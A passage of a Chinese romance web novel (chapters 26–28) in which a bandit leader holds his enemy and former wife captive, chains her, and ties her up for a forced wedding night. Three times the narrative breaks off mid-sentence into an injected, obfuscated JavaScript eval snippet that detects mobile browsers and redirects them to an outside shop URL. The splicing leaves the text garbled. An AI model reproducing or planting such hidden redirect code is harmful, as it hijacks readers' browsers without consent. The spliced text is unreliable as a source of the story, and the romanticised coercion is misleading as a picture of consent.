眼前一片重影,她微微晃了晃脑袋,想让自己清醒一些,却是更加晕眩,耳边嗡嗡的轰鸣声越来越大,最后只觉脑中如同有根弦崩断了一般,世界顿时归于安静。 而她的眼前也一片漆黑。 云归玉倒下的时候,历铮瞳孔微缩,几乎是瞬间下马,条件反射地上前,在她的脑袋碰到地面之前接住了她。 意识到自己做了什么之后,他面色一冷,抓着云归玉手腕的右手倏然握紧。 历铮扫了一眼怀中的人。 这女人大概是给自己下了什么奇奇怪怪的蛊毒,整个人身上的皮肤都泛着不正常的红紫,唯独他握着的那一截手腕,红紫已经开始褪去,显现出原本的皓白。 而那截白色在他刚才用力一握后,很快便出现红痕,那红痕不同于蛊毒的红,而是有些暧昧的嫩红。 历铮的心情莫名好了点。 他把人打横一抱,放在马背上,然后踩上马镫,长腿一跨,自己也了上马,揽起云归玉,把她捞进怀里,勒马朝着路边的手下们骑去。 “头儿!”那皮肤黝黑的汉子见历铮过来,立刻叫了一声,看到他怀里抱着女人,愣了一下,问道:“头儿,你这是……看上这女人了?要扛回去做压寨夫人吗?” 历铮冷笑,“你会看上自己的仇人吗?” 接着突然想到什么,又道:“冯九,把你的披风给我。” 冯九一愣,把披风扯下来递给他,不解道:“头儿你冷吗?” 他天生体热,并不怕冷,穿件披风纯属是为了显得英俊潇洒。可头儿已经够英俊潇洒了,披个麻袋都英俊,骑头驴都潇洒。 所以头儿一定是冷了。 历铮瞥他一眼,没说话,用披风把云归玉裹得严严实实,才吩咐:“回山寨。” 冯九看见他的动作,表情疑惑。 不对劲,头儿他很不对劲。 既然是仇人,为什么要抱人家?还骑同一匹马!还用他的披风把人裹怀里! 他内心好奇,抓心挠肝,恨不得马上找头儿问清楚,却只看到他家头儿挺拔的背影。 历铮已经一振缰绳,策马疾驰。 感受到怀中人高热的身体,他拧了拧眉,一夹马腹,再度加快了速度。 到达山寨时,历铮一把将云归玉抱下马来,大步向着主寨走去。 寨门口的看守和巡逻守卫们甚至来不及问一声好,只能看到他们大当家飘起的黑色衣角。 唯有一个十五六岁的少年,从历铮一进寨门便跟在他身后,只落下一步的距离。 历铮头也没回,对身后的少年道:“阿延,让林无砚立刻到我房里来。” 阿延一愣:“可二当家现在不在山里。” 历铮脚步不停,往自己院中走去,一边道:“那就赶紧下山去找……算了,太慢了,发信号弹,白色三响。” 听到“白色三响”,阿延步伐一顿,表情惊讶了一瞬。 但他向来不会质疑大当家做的任何决定,很快便冲着历铮的背影抱拳领命:“是,大当家。” 很快,山顶的天边炸起了烟花,色白如流星,一共炸了三次。 寨中的山匪们不约而同地抬起头,当看清烟花颜色,听完爆炸次数后,皆露出了疑惑又惊惶的表情。 他们都知道那是信号弹,有一响,二响和三响,三响乃是最高级别,而白色是什么意思,则是只有几位当家的才知道的机要。 众山匪虽然内心都焦急不安,却并没有因此而行动慌乱,仍旧巡逻的巡逻,守门的守门。 满寨山匪,无一人擅离职守。 他们始终牢记一件事:寨令如山,令行禁止! 而有个人却不像他们这么冷静,只因他知道,白色三响信号弹的意思是:大当家有生命危险,医师速来! 这人便是二当家冯九。 他慢历铮一步,刚回寨里,正欲安排人手,把那群神行卫下狱,清点盔甲、兵器等战利品,却忽然听到烟花响,一抬头就看到那信号弹竟是白色,还他娘的炸了三次! 冯九瞬间目眦尽裂,啥也顾不得地就往主寨最大的院子冲去,留下跟着他回来的手下们面面相觑。 *** 因着那一发信号弹,林无砚着急忙慌、十万火急、狼狈不堪地赶上山来,刚进历铮的院子,便看到冯九杵在房门外,表情有些许复杂。 “他怎么样了?伤哪儿了?刀伤还是剑伤?暗器还是毒药?流血了吗?缺胳膊少腿儿没?还能自己喘气儿吗?”林无砚边走边问,连珠炮似的,推门的瞬间差点连气都没喘匀。 他弯下腰,双手撑着膝盖,深呼吸几口,然后抬头一看。 想象中本该浑身是血,人事不省躺在床上的男人,此刻正坐在桌边,穿着惯常的一身黑衣,长发高束于脑后,发尾搭在右肩上,表情淡漠,没有一丝重伤濒死之人该有的狼狈。 甚至手里还把玩着两把不知开什么锁的钥匙。 林无砚:? “崇渊,你……” 历铮打断他:“你忘了吗,在这里要叫我什么?” 林无砚震惊无语。 都什么时候了,还计较这个?! 但他还是老实改口:“……大当家。” “你到底怎么了,快给我看看!”到底还是担心,林无砚说着就要来把脉。 历铮淡淡道:“要治的人不是我。” 林无砚撸袖子的动作一顿。 “?” 那你放什么白色三响信号弹?耍他玩吗! 林无砚将背着的药箱放在桌上,“嘭”的一声,略重的声响昭示了他内心的愤怒和不满。 “是她。” 历铮挥手将手中的两把钥匙一甩,将床边帷幔一左一右钉进墙里,露出里面躺着的人。 林无砚的视线条件反射地追着钥匙射去的方向,就看到他们大当家的床上,躺了个衣衫不整,发丝凌乱的女人。 林无砚: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002510|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” 他谨慎开口:“大当家,我能问问她是你什么人吗?” 历铮没有一丝犹豫:“仇人。” 林无砚:“?” 仇人能躺你床上? 历铮接着说:“但曾经是我夫人。” 林无砚:“……” 您这是在演什么话本吗? 病患为重,林无砚不再过多追问,而是提起药箱来到床边。 床边地上放着两副镣铐,一副稍大的是脚镣,一副稍小的是手铐,看制式,应是来自大楚官府。 锁链断成两截,应是有人用刀或是剑从中劈开,而铐子也已被打开,林无砚扫了眼砌进墙里的两把钥匙。 床上的女人穿着单薄的囚服,身形纤瘦。乍一眼会被满脸毒斑吓到,但仔细一瞧,却能发现她有着非常好的底子,是个绝对的美人胚子。 “让你治病,不是让你盯着人发呆的。”历铮语气不悦,细听还夹杂着一丝烦躁。 林无砚背对着他翻了个白眼,坐在床边,掏出丝帕放在云归玉的腕上,再将手搭上去,认真地诊起脉来。 过了一会儿,他收回了手。 历铮问:“如何?” “缺食少水,劳累过度,”林无砚扫了一眼云归玉的身体,“身上有很多大小不一深浅不同的伤口,有的见血,有的生淤,有的化脓,再加上风寒引起的高热……” “能治吗?”历铮打断他。 “问题不大,”林无砚从药箱拿出一个药瓶,“这个药服三日,稍后我再开一个方子与此药一并服用。前三日膳食以粥为主,宜清淡。” 又递给历铮一个小盒子:“身上的伤用这个药膏,务必要仔细涂抹,否则会留疤的。” 历铮瞧了一眼床上,云归玉的囚服上有道道血痕,不难看出是鞭伤。 “冯九。”他语气微沉。 一直站在外面的冯九立刻进来,抱拳应道:“头儿。” “那些神行卫,问出该问的东西后,全部杀了。”历铮表情没有丝毫变化,眼底却一片晦暗,泛着丝丝冷意。 把云归玉折腾成这样,那些狗东西是怎么敢的。 就算要折磨她,也该是由他来。 冯九一愣,随后便道:“是!” *** 云归玉是被鸡鸣声吵醒的。 睁开眼睛,映入眼帘的是木制的床顶,身上盖着白色的被子,虽不柔软,却足够干净,足够温暖。 她呆了呆。 这是这些天的第一次,醒来的时候没有幕天席地,背后不是坚硬的石头或粗糙的树干,身上也没有因瑟瑟寒风而泛起密密麻麻的鸡皮疙瘩。 换做是以前,哪怕再舒适,只要是陌生的环境,她都会打起十二分的警惕,浑身戒备,观察可能会出现的危险。 而现在…… 云归玉翻了个身。 爱咋咋地吧。 她累了。 又躺了一会儿,云归玉记忆回笼,想起自己本来在和历逍对峙,然后呢?发生了什么? “你醒了。”忽然有个声音响起,打断了她的回忆。 云归玉微惊,坐起身来,缓缓看向门边。 有个面容清秀的少年正抱胸靠在门框上,看向她的眼神带了点淡淡的埋怨。 云归玉一脸莫名其妙。 少年你谁? 她招他惹他了? “大当家让我来看着你。”少年抿了抿唇,解释道:“我是大当家的护卫,本来可以跟着他的。” 听着他有点不满的声音,云归玉嘴角微抽,心说那可真是委屈你了,得浪费时间在我这。 她正想劝这少年赶紧去找他的大当家,这样她也好趁机跑路,就听少年又补了一句:“九哥说,你是大当家带回来的压寨夫人。” 看似平淡的语调下是压不住的好奇。 云归玉:“……?” 压、寨、夫、人? 26. 夫人 云归玉失笑:“你大当家难道没说吗?我是他仇人。” 阿延迟疑了一下,道:“可是九哥说,大当家亲自把你抱回来的,还让你睡他的房间他的床,一定有奸情。” 云归玉一愣。 所以说,这是历铮的房间? 她这才转过头,四下打量起这间房来。 房间的中间是圆桌,上面放着茶壶和杯子,窗边有张塌,榻上放了只小几,摆着围棋棋盘,其上黑白棋子分布,像是某种残局。 侧边还有一间房间,从她这个角度只能从门边看到一个木架,每一层都零星摆放着几本蓝色封皮的书。 “历……你们大当家他人呢?”云归玉问道。 她不是很明白历铮到底想做什么。 若是想要报仇,直接一剑杀了她便是;若是想要慢慢地折磨她,为何不把她扔牢里?或者好点的也就是柴房,怎么会让她睡他自己的房间里? 而且……她感受了一下自己的身体状态,比起昏迷前好了不止一星半点,她当然不会认为这是靠她自己身体的自愈能力,显然是有医者诊治过。 “大当家吃完早饭就下山了,现在不在山里。”阿延回了句。 云归玉顿时心情微妙。 这算什么? 她这么大一个仇人放在这里,那人竟然就直接扔自己屋里,甩甩手下山去了? 云归玉当然不是盼着历铮回来报复她,只是有种一拳打在棉花上的空落感。 她已准备要应对狂风暴雨,最后却只刮起了一阵微风。 可这并不能让人松一口气,因为乌云悬在头顶,暴雨随时会来,可她却不知道什么时候来。 阿延此时已经从门边移步,进到了房间内。 他走到桌边,打开了桌上摆着的那个像食盒一样的东西。 云归玉顿时不再去想历铮的目的,而是露出了期待的目光。 不管怎样,填饱肚子再说! 顶着云归玉直勾勾的目光,阿延依次从里面拿出了一个瓶子,一碗黑乎乎的汤,和一碗白色微黄的粥。 云归玉:“……” 阿延道:“先吃药,再喝粥。” 云归玉一言难尽道:“死囚还有四菜一汤的断头饭呢,我就只能吃这?” “大当家说了,死了太便宜你了,所以要先把你救活,他对鞭尸没兴趣。”阿延目光坚定,“所以,你要好好吃药,清淡饮食。” 云归玉认命地掀起被子,就要起身。 身上的衣服已经换过,里衣和中衣两层,不单薄,但大得有点过分,显然并不合身。 她下了床,才发现自己的左脚腕上有一根细细的锁链,锁链的另一端不知连接在哪。 云归玉:“……” 她冷笑一声,三步并作两步走到桌边,端起那碗黑乎乎的药,一饮而尽。 阿延没想到她这么干脆,愣了愣:“你不苦吗?” 云归玉无所谓道:“从前又不是没吃过。” 苦这玩意儿,吃的多了,也就习惯了。 ……事实证明她有些高估自己了。 这药确实苦得离谱,但海口已经夸下,云归玉竭尽全力维持住云淡风轻的表情,又吃了一颗瓶子里的药丸,然后才看向那碗白粥。 腹中饥饿,她如今又只是个阶下囚,云归玉也没什么好挑剔的了,端起碗,舀了一勺粥便往嘴里送。 粥入口后,云归玉顿了一下。 是甜的。 又吃了几口,她甚至在里面吃到了红枣和枸杞。几口下去,嘴里苦涩的药味已经被冲淡了不少。 “咱们山寨里没人爱吃甜的,平时做粥都是咸粥,这次竟然放了红枣枸杞这些东西。”阿延看她一眼,猜测道:“难道是大当家为了你特意吩咐的?” 云归玉咽了一口粥,无情戳破了他的幻想:“你大当家他自己就爱吃甜的。” 怕是自己想吃,又不好意思,所以拿她当借口吧。 阿延惊讶:“你连这都知道?” 那眼神似乎在说:还说你和大当家没奸情? 云归玉:“……” 她想说她和历逍之间的事情很复杂,三言两语说不清楚,没有他想的那么简单。 但转念一想,又觉得没有必要。 于是她决定转移话题。 “你们大当家他下山干什么?山匪不是一般都待在山上守株待兔吗?” 阿延奇怪地看她一眼:“大当家很忙的,他要出去挣钱。” 云归玉噎了一下,“山匪不就靠打劫挣钱吗?” “我们寨子不抢平民百姓,只抢官兵,所以其实是很穷的,需要从别的地方补贴寨用。” “就连大当家都需要去城里找好几样营生,给兄弟们挣酒钱。” 云归玉有些惊讶,也有些好奇。 “他都干些什么营生?” 阿延:“只要能挣钱,什么活儿都干。” 很难想象,历铮那样的人,也会为了生计而奔波劳碌。 云归玉心中滋味莫名。 即使是当年射他那一箭的时候,她也从没想过,有一天历铮会成为一个小小的山匪头子,还同时做好几份工,只为养活自己和自己的兄弟。 她最知道历铮的才能。 文韬武略,皆是经世之才。 这种人,要么上马打天下,要么提笔安天下。 怎应沦落至此? “所以说,你也要干活儿的。”阿延道。 云归玉:??? 她的疑问很快得到了解答。 日上三竿,阳光大盛时,云归玉坐在院中编簸箕。 院子中央有一颗高大的桂花树,她看到这棵树时,便发现自己脚上链子的另一个连接处,正是这棵树的树干。 而她的可活动范围,便是这间院子,以及房间里面。 树下石桌旁,云归玉和阿延相对而坐,脚边地上摆满了细细竹丝,和几个已经编好的簸箕、扫帚和斗笠。 “你这个手法不对,得这样,然后再这样。”少年手指灵活翻飞,声音平静地又给云归玉演示了一遍。 云归玉莫名从他平淡的表情中品出了一丝嫌弃。 她神思恍惚,目光甚至有一丝呆滞,手上动作也十分缓慢。 怎么也想不到,自己有朝一日,会坐在前夫的院子里编簸箕,还要被一小孩儿嫌弃编的不好。 历铮就这么缺钱,甚至需要手下人编这些东西拿去山下卖钱? 阿延又编好一个,一瞧她脚边那零星的几个成品,道:“你这样怎么能在大当家回来之前编够三百个?” 云归玉:“……多少?” 阿延:“大当家说了,你得在他回山寨之前编够一百个簸箕,一百个扫帚,一百个斗笠,加起来一共是三百个。” “他什么时候回来?” “三天后。” 云归玉看了眼自己脚下几个松松垮垮的簸箕和歪七扭八的扫帚,陷入了沉默。 内心挣扎了一会儿,最终她选择虚心求教:“你再给我演示一遍,这次我一定学会。” 她还真就不信这个邪了。 幼时学蛊,她是万里挑一的天纵奇才,几年便能取大祭司项上人头; 少时读书,未经启蒙的她埋头苦读,后来亦可与大儒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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抱着人走进屋里,历铮随手将她扔在了床上,反手敲了敲她的锁骨,声音低沉:“云归玉,醒醒。” 云归玉迷迷糊糊睁眼,看到历铮近在咫尺的俊脸,愣了半晌。 历铮不满意她这副毫无反应的样子,正欲把她晃清醒,忽然看到她一笑,丹唇轻启,缓声道:“夫君。” 历铮直接愣在了原地,手指不自然地蜷缩了一下,方才的那点不爽隐隐有熄灭的趋势。 忽然又想到什么,神色陡然阴沉下来。 她如此熟练又理所应当,得是对多少人都这样过? 听说他“死”后,她曾养过三千面首,那些人里,又有多少人曾见过她这副模样? 她为了哄小情人高兴,又叫过多少人“夫君”? 历铮伸手掐住她的下巴,手上逐渐用力。 看着云归玉的眼神逐渐变得清明,他面无表情,声音冷冽:“清醒了吗?郡主殿下。” 云归玉吃痛,双手扒住他的右手,喝道:“放手!” 历铮看她眉头越皱越紧,终是放了手,正欲说话,却感觉到颈间传来细微的刺痛。 他低头一看,一根食指长的钉状物悬于他颈侧,那物的末端,是一只指节纤细、肤色如玉的右手。 云归玉乌黑的眸子盯着他,“大当家,我这三日,可不只编了簸箕、扫帚和斗笠而已。” 27. 洞房 云归玉手上握着的,是一根竹钉。 她这几日编簸箕的时候,趁着阿延没注意,每次便偷偷藏下一点边角料,最后编制成了这根竹钉。 其实她做这个的时候,脑子里并没有计划着什么,纯粹只是顺手就做了。 这些年养成的习惯,手头总要有点武器,才能让她感到安心。 没想到历铮竟然这么放心地让她近身,倒是给了她威胁他的机会。 “大当家,打个商量,你大人有大量,今日放过我,我日后一定报答你,如何?”历铮一口一个“郡主殿下”,她便也一口一个“大当家”,大家一起互相埋汰呗,谁也别落下。 历逍幽幽地注视着她。 这才是云归玉。 她永远也学不会服软。 威逼利诱、暴力胁迫、心机谋算,这才是她一贯的手段。 刚才将醒未醒时那一瞬间的柔软,不过是为了让他麻痹大意。 历铮自嘲一笑,良久才道:“我若不放,郡主想要如何?再杀我一次吗?” 云归玉有些头疼。 她当然不可能真的杀了历铮。 撇开个人恩怨感情不谈,单说她当下的境况,杀了历铮,然后呢?她能走得出这个院子吗?她脚上的锁链可还在呢。 更别提外面那一个个被历铮当成士兵练的山匪,他们难道是吃素的吗?前脚杀了他们老大,她后脚就会被他们冲进来乱刀砍死。 即是杀了历铮,她也决计走不出这个山寨。 何况,如今的她,本也无意杀他。 她不该这么快就暴露底牌与历铮对峙的,应该先与他虚与委蛇一阵,再另寻机会离开。 历铮说过暂时不会让她死,而是要慢慢折腾她。只要不死,留得一条命在,她总能找到机会逃跑。 云归玉沉默不语,右手依旧举着竹钉。 气氛凝滞。 历铮看着她随着时间流逝,渐渐有些细微颤动的手臂,终是叹了一口气,开口打破沉默:“郡主殿下,这三日以来,我有打你骂你吗?我有不给你吃饭不许你睡觉吗?我有把你关牢里大刑伺候吗?” 云归玉一愣。 的确。 这三天里,她不仅没被关牢房里,还堂而皇之地睡在了大当家的房里;不仅没被用刑,还被治好了之前的病症;虽然膳食清淡了点,但按时按点,顿顿都没缺她的。 她在历铮这里三天,身体状况比之前那几个月加起来都要好。 除了给她脚上套了个环,并且让她干点编竹条的活儿,她的待遇简直不像个阶下囚。 可是这么做,历铮图什么呢? 就这一愣神的功夫,历铮迅速出手,夺下她手中竹钉扔出窗外,然后一手钳住她的双手,反手交叉放在她的脑后。 他翻身上床,居高临下地盯着云归玉。 云归玉被他突如其来的动作惊得瞳孔微缩:“历铮,你想干什么?” 历铮拎起她的脚链子,在她不可置信的目光下绑住了她的双手,慢条斯理道:“郡主殿下,我想了想,像你这样貌美又能干的女人,还是得物尽其用后再去死。” “放心,在我尽兴之前,绝不会让你轻易死了。” 云归玉看他绑完她的手又来解她的腰带,惊愤交加地瞪圆了眼睛:“你!” 历铮勾起嘴角:“郡主殿下,你看看周围。” 云归玉一转头,才注意到这间房子竟然处处挂上了红绸,桌子上还点着两根红蜡烛! 不是,他什么时候让人弄的这些? “冯九有句话说的没错,这山寨确实缺一个压寨夫人。” “今日,我便迎娶你,来当这个压寨夫人。” 云归玉挣扎无果,眼神渐渐平静,泛着冷意。 她从喉咙里逼出一句话来:“历铮,别逼我恨你!” 历铮停了一瞬,随即像是听到什么天大的笑话一样,嗤笑出声:“说的好似郡主从前爱我似的。” 云归玉哽住。 “既如此,恨与不恨,有区别吗?”历铮喃喃道。 他声音很轻,云归玉却不知怎么,感受到了他话语中深切的悲伤与痛苦。 看着那不知何时布满血丝的双眼,她心内叹息一声,隐去了藏在脚趾间的另一枚竹钉。 算了。 红烛帐暖,烛火摇曳,锁链碰撞的清脆声音鸣响一夜。 不知过了多久,久到云归玉甚至隐约听到了鸡鸣声,她终于支撑不住,沉沉睡去。 闭眼之前,男人那悲喜交加的俊脸和深红的眼眶在脑中挥之不去。 那双眼睛如山般沉重,如火般灼热,她分不清那是恨意,还是带着些别的什么。 *** 翌日。 云归玉醒来的时候,表情一片空白。 她躺在床上,盯着床顶的木梁,心想,这床梁可真床梁啊。 半晌,昨夜记忆逐渐清晰,她猛地一下坐起身来。 下一刹那便感受到浑身的酸痛和僵硬的双腿,她果断又躺下了。 昨夜虽然没到最后那步,但她还是被折腾的够呛。历铮的报复方式总不能是让她死在床上吧? 历铮端着早饭进门时,见到的便是云归玉呈“大”字型,生无可恋躺在床上的样子。 云归玉慢吞吞转头,看见他今日不再一身黑,而是着一身白衣,乌发未束,懒散地披在肩膀和脑后,看起来不像个山匪,倒像个深山里被狐狸精拐进山洞的书生。 然而这人看起来容光焕发,不像被狐狸精吸了他的精气,反倒更像是他把狐狸精榨干了。 她没忍住,冷笑一声。 历铮把饭菜放在桌上,瞥她一眼,也没计较她的态度,而是坐下来,自顾自吃了起来。 云归玉等了又等,也没见这人叫她起来吃饭。 她终于忍不住,忍着身上的酸疼坐起身来,抓起床边木架上的衣服,随意套在身上,然后下了床。 历铮看着她光着的脚被冻得泛红,不自觉皱了下眉。 云归玉走到桌边,自顾自坐在了历铮的对面。 两人的面前各放了一碗米饭,而中间只摆了一盘土豆丝。 云归玉:“……” 老大都只能吃这,这山寨是穷的要揭不开锅了吗? 虽然心内无语,但她还是左手端碗,右手拿筷,夹菜夹得飞快,不一会儿,盘子里大半的土豆丝都被她夹到了碗里。 历铮:“……” 他看着埋头吃饭的云归玉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012725|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时语塞。 昨天还拿着竹钉差点扎死他,今天就心平气和地坐在这儿和他一起吃饭? 这还是他认识的那个睚眦必报,心眼比针还小的云归玉吗?他还以为她得大闹一场呢。 事实上,此时的云归玉心眼也的确不大。 她就着土豆丝咽下一口饭,抬腿晃了晃脚上的链子,语气嘲讽:“人家藏娇用金屋,你用木屋;人家睡觉睡金丝楠木,盖蚕丝软被,你睡木板硬床,盖粗布棉被;人家给夫人买绸缎首饰,你连件合身的衣物都不给。” 她给了最后评价:“简直寒酸至极。” 历铮:“……” 他似笑非笑道:“对不住了郡主殿下,历某这里就只有这条件,劳烦将就将就。” 忽而又想起什么,表情稍微好了点。 “所以,你承认你是我夫人了?” 云归玉:“……” 她不接话,只默默扒饭。 两人在诡异的氛围里吃完了这顿饭。 历铮率先放下碗筷,随口问道:“我捡到你时,你怎会如此狼狈?你的那些蛊虫呢?” 这话看似随意,云归玉却也知道,这人实则是在试探她现在手头还有没有蛊虫。 她道:“蛊虫是需要时间炼制的,我的蛊虫,早用光了,一直无暇去炼。” 又不是从土里随便翻出一只虫就能有毒的。 她从前炼制的蛊虫,大部分都在当初扶光殿上用完了,后来下狱,然后便是被押着千里流放,根本没有时间和机会重新再炼制蛊虫。 “那还真是可惜。”历铮得到了想要的答案,敷衍地惋惜了一声,便站起身来,拿了根发带,一边束发,一边向外走去。 “等等,”云归玉抬眸叫住他,问:“你去哪?” 历铮束好发,看她一眼,语气微凉:“下山给你挣买衣服的钱。” 云归玉:“哦……那你可一定要好好干。” 历铮头也不回地走了。 他一走,云归玉的表情立刻淡了下来。 历铮对她的态度很奇怪。不如说,作为仇人来说,甚至良善得有些过分了。 但云归玉绝不会因为这些以及昨晚的事就脑抽到以为他对她还有感情。 历铮可不是当初那个十七八岁情窦初开的毛头小子了。 他和她一样,已经二十有余,也和她一样,历经世事浮沉。 且不说一个曾高中进士的人是不是个傻的,单论他熟读兵书,刚弃文从武便三战三胜,他就不可能是个胸无城府的人。 战场上的尔虞我诈、阴谋阳谋并不比朝堂后宫少,兵法,本就是万谋之宗。 这种人,他会在一个人手上栽过一次后还毫无防备? 狗都不信。 况且他与她之间,从来便掺杂了太多虚情假意。 更别提她后来还干了那些在他眼中堪称背叛的事,又亲手射他一箭,让他险些丧命。 不过…… 既然历铮暂时不会杀她,也无意使手段折磨她,那么比起着急之下鱼死网破,以逸待劳才是更好的选择。 至于其他的,不管历铮打的什么算盘,只要她保持清醒,他便不会得逞。 不就是装吗?谁不会啊。 28. 裙钗 碧云高天,日光烨烨。 云归玉坐在院中,除了鸟雀啼鸣,还时常能听到男人们“嚯!嚯!哈!嘿!”的有力吼声,是那群山匪们在操练。 本该荒寂的深山,此刻却是热闹非凡。 或许是因为怕她又弄出个凶器出来,这天历铮倒是没再让她干什么竹编簸箕之类的活儿了。 云归玉出不了这个院子,除了阿延之外也没人再进来,她无趣得要命,只好坐在石桌旁,和抱剑站在树枝上的阿延没话找话。 之前少年教她编竹条的时候,他们已经互道过姓名,云归玉开口问道:“阿延,你是从什么时候开始跟着你大当家的?” 阿延回道:“三年前。” 云归玉等了等,半天也没听到下句,抬头看了眼少年表情,才发现他说完话已经闭上嘴,只定定看着她。 她和阿延大眼瞪大眼,好一会儿才回过味儿来,合着他是觉得上个问题已经回答完了,等着她问下一句? 寻常人闲聊不是应该顺着话头就继续说下去吗? 这孩子怎么问一句才答一句呢。 她只好继续问道:“经过呢?怎么认识的?说全一点。” “我家被仇人灭门了,只有我一个人逃了出来,被追杀时他救了我,我就一直跟着他了。”少年言简意赅,即使说到自己家门被灭,脸上也没有过多的仇恨表情。 云归玉没想到一来就听到这个,怎么这也是个身世凄惨的小可怜。 她张了张嘴,却不知如何安慰,于是又闭上了。 “大当家很好。”阿延没等她问,自顾自地接了一句。 云归玉:…… 没人问你这个。 这个时候怎么就学会抢答了? “那你后来有去找仇人报仇吗?” “还没有,大当家说我现在实力不够,去了也是送菜,得等武功大成的那一天。”少年摸摸怀中的剑,望向远方,眸中带了点神采,自信道:“不过,那一天不远了。” 云归玉勾起一个残忍的笑:“若是我,必定也要杀他全家才解恨。” 阿延摇了摇头,认真道:“大当家说,不能让仇恨蒙蔽眼睛,会看不清前方的路。” 云归玉微微一怔。 不要被仇恨蒙蔽吗?那你自己呢,历铮。 你是否有被困在仇恨的梦魇里,无法挣脱呢? 你若恨,为何不伤我杀我;你若不恨,又何必把我不尴不尬地拘在这儿呢? 她回过神来,复又撑着脸扬着头,有点新奇地看向阿延。 一个经历了灭门之仇的少年,眼神竟还是如此清澈,没有一点点被仇恨折磨的样子。 拥有干净的眼神和剔透的心性。 像极了某个故人。 可为何她到这儿这么久都没见到那人? 历海宁,他不在历铮的身边吗? 云归玉忽略心底若隐若无的不详预感,换了个问题:“你们山寨有多少人?” 阿延沉吟思索了一下,最后肯定道:“几百或者几千吧。” 云归玉:“……” 几百和几千可差的不是一点点啊。 “那个肤色很黑的大嗓门你认识吗?他是谁?” “他叫冯九,是我们寨子的三当家。” “那二当家是谁?” “林无砚,就是给你治病那个。” “你们山寨的人平时都待在寨子里吗?除了巡逻、守卫、打劫官兵、编竹制品之外还干些什么?” “你们山寨的伙食是谁在做?” “……” 云归玉一连问了好几个问题,话题很跳跃,一会儿问寨子里的事,一会儿问“今天中午吃什么”之类的日常琐事。 她循循善诱,不动声色地转换话题,为的就是一点点套出自己想要的情报。 比如山寨的人手,巡逻队的数量,以及几个时辰换一次防等等。 问到最后,却发现什么有用的也问不出来。 这少年看着一脸天真好骗的样子,事实上也确实问什么答什么,但关键的问题他是一点都没回答到点子上。 没用的信息得了一堆,真正想知道的是一点没撬出来。 为了跟阿延说话,云归玉一直仰着头,问到最后,她脖子都酸了。 她揉了揉后颈,又拿起茶杯喝了一口水,木然问道:“今天中午吃什么?” 她错了。 “今天中午吃什么”哪是什么没意义的日常琐事,分明是最有意义的大事。 *** 云归玉和阿延东拉西扯套话的时候,历铮正在巡关。 麒山北麓十里外,有一处依托天险而建的关隘,以防卫北境异族。 关城之上,历铮持刀北望。 冷冽秋风自西北而来,吹得他乌发飞扬,衣袂翻飞。 英州东邻幽州,边关几十里外便是突厥势力范围。 近年来北境愈寒,草原干旱,水草枯竭,突厥人杀牛宰羊,已渐渐难以供持,免不了动起南下劫掠的心思。 但幽州历来武德充沛,突厥人始终难以突破那条防线,于是便打起了西边英州的主意,近一年来屡屡派轻骑骚扰试探,企图跨越关城。 冯九站在他身后,骂骂咧咧道:“那群该死的突厥狗,看东边的幽州是个硬骨头啃不动,就想着来咱英州。他们也不想想,有咱头儿坐镇的英州,那能是好捏的软柿子吗?” 今日巡关未见异常,历铮转身道:“让大家保持警戒,切莫松懈,明日换防。” 冯九应道:“是!” 然后扯着嗓子就是一吼,把历铮的吩咐重复了一遍,声震如钟,很快得到众人的齐齐应是。 “头儿,今儿个还去练武场吗?”冯九跟在历铮身后,下了关楼。 历铮翻身上马,望了望那片连绵广袤,墨绿森森的麒山群岭,道:“回山寨。” “好嘞,头儿!” 二人齐齐纵马,飞驰而去。 一个时辰后。 冯九跟着历铮勒马止步,看着前方城门,不明所以地摸了摸脑袋:“头儿,不是回山寨吗?这怎么像是去城里的路?” 历铮收紧手中缰绳,面无表情道:“进城,去给你说的那个压寨夫人买点衣物穿。” 冯九:“……” *** 太阳将落时,历铮与冯九披着余晖,回到了山寨中。 历铮站在院子门口,看着手里的大包袱小包袱,陷入了沉思。 包袱里装满了各种样式和颜色的衣物。他在城中逛成衣铺时,只觉得这也好看,那也不错,云归玉穿着,应当都很合适。 于是一不小心就买了这么多。 若是让那女人看见了,岂不是能得意坏了? “头儿,咱不进去吗?”冯九的手里也拿着很多包袱,看着历铮在院门口站了半天却迟迟不进去,纳闷道。 历铮冷酷转身:“去林无砚那儿。” 冯九不明所以地摸了摸头,跟上。 林无砚的院子离得不远,就在历铮住处往西地势稍低的地方,大约三百来步。 二人到时,林无砚正拎着个篮子,在院中药圃里摘草药。 “你要把这些东西放我这里?为什么?”林无砚一瞥他们手上包袱露出的一角衣物,明显是女子穿的。 山寨里只有一个女人,不用想也知道这本该是给谁的。 历铮淡声道:“她穿不了这么多。” 林无砚大惊失色,用手中药篮挡住了自己的前胸:“我一件也穿不了!” 历铮:“……没让你穿,就暂放一下,你给我正常点。” 林无砚收放自如,表情平静地领着二人进屋坐下。 他瞥了眼历铮的右肩,那块白色布料洇出了点点血迹,连起来像是一个圈,相当显眼。 